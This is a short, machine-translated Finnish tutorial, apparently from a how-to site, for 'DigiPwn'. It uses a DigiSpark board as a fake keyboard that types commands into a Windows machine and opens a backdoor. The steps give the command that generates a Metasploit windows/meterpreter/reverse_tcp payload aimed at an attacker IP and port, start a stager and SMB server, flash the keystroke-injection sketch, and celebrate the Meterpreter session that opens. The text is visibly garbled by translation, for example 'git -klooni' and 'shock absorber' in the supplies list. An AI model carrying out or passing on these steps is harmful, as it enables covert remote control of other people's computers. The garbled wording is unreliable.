DigiPwn: 5 vaihetta

2024 Kirjoittaja: John Day | [email protected]. Viimeksi muokattu: 2024-01-30 09:01

Joten mitä me teemme täällä?

DigiSpark on pieni Arduino -pohjainen kehitystyökalu, joka voi toimia HID -näppäimistötulona. Tänään manipuloimme tätä laitetta takaoven avaamiseksi Windows -käyttöjärjestelmään!

Tarvikkeet

Arduino IDE

Ikkunakone

DigiSpark

Metasploit Framework

Python 2.7 (Huomaa: Tarvitset python "2.7", älä mene mihinkään muuhun versioon)

iskunvaimennin

Aivot! Se auttaa

Vaihe 1: Kloonaa DigiPwn -arkisto

Kloonaa DigiPwnin GitHub -repoon

git -klooni

Vaihda nyt hakemistoksi DigiPwn

cd DigiPwn/

Vaihe 2: Asenna Impacket [Pythonin vaatimat moduulit]

Tätä moduulia tarvitaan SMB -palvelimen suorittamiseen, jota tarvitaan hyötykuormakirjastossa

sudo apt-get install python-impacket

Tai voit ladata Impacket -kirjaston ja asentaa sen täältä.

Vaihe 3: Luo hyötykuorma

Juosta

python DigiPwn.py [HOST] [PORT] [PAYLOAD] [OUTPUT FILE] [muoto]

esim

python DigiPwn.py 192.168.1.2 8080 windows/meterpreter/reverse_tcp win.vbs win.vbs

Nyt sinulta kysytään, haluatko käynnistää stager- ja SMB -palvelimen. Paina y ja paina enter

Vaihe 4: Lataa koodi Arduinolle

Ennen lataamista meidän on varmistettava, että DigiSpark -kortti on asennettu Arduinoon, jotta voit katsoa tätä.

sen jälkeen lataa komentosarjan luoma keystroke_inject.ino -tiedosto. Kun olet valmis, olet valmis

Vaihe 5: Aika kytkeä vauva

Liitä DigiSpark nyt ja odota 10 sekuntia

BOOM Mittatulkin istunto on avattu!